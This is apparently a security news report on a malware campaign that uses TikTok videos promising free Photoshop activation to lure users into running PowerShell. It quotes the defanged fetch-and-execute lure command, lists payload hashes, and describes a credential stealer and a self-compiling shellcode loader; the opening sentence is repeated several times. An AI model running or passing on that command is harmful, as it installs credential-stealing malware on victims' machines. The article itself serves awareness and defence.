Hackers Using TikTok Videos to Deploy Self-Compiling Malware That Leverages PowerShell for Execution
Recent investigations have uncovered that cybercriminals are utilizing social media platforms to propagate sophisticated malware campaigns. These campaigns leverage TikTok to distribute malware under the guise of free software activation schemes.
Recent investigations have uncovered that cybercriminals are utilizing social media platforms to propagate sophisticated malware campaigns. These campaigns leverage TikTok to distribute malware under the guise of free software activation schemes.
The attack employs social engineering strategies to deceive users into executing harmful PowerShell commands on their systems. Users encounter TikTok videos that promise free activation of popular software, including Photoshop. The attack initiates when users follow instructions to open PowerShell with administrative privileges and execute a command.
The command iex (irm slmgr[.]win/photoshop) is used to retrieve and execute malicious PowerShell code from a remote server. The initial payload (SHA256: 6D897B5661AA438A96AC8695C54B7C4F3A1FBF1B628C8D2011E50864860C6B23) has demonstrated a VirusTotal detection rate of 17 out of 63, indicating its ability to evade detection.
The script subsequently downloads a secondary executable, updater.exe, from a specified URL. This executable has been identified as AuroStealer malware, which is designed to extract sensitive credentials and system information. Persistence is achieved through scheduled tasks that mimic legitimate system processes.
Recent investigations have uncovered that cybercriminals are utilizing social media platforms to propagate sophisticated malware campaigns.
A third payload, source.exe (SHA256: db57e4a73d3cb90b53a0b1401cb47c41c1d6704a26983248897edcc13a367011), utilizes a self-compiling technique to evade traditional detection mechanisms. This payload compiles C# code at runtime, employing the .NET Framework compiler to execute malicious activities in memory without writing additional files to disk.
Self-Compiling Technique and Memory Injection
The self-compiling feature represents an advanced evasion strategy. By compiling a C# class during execution, the malware imports functions such as VirtualAlloc, CreateThread, and WaitForSingleObject from kernel32.dll. This dynamically compiled code allocates executable memory, injects shellcode directly into process memory, and creates a new thread to execute the payload.
This campaign targets users searching for cracked software versions, emphasizing the importance of downloading software only from trusted sources.
Based on reporting by Cyber Security News.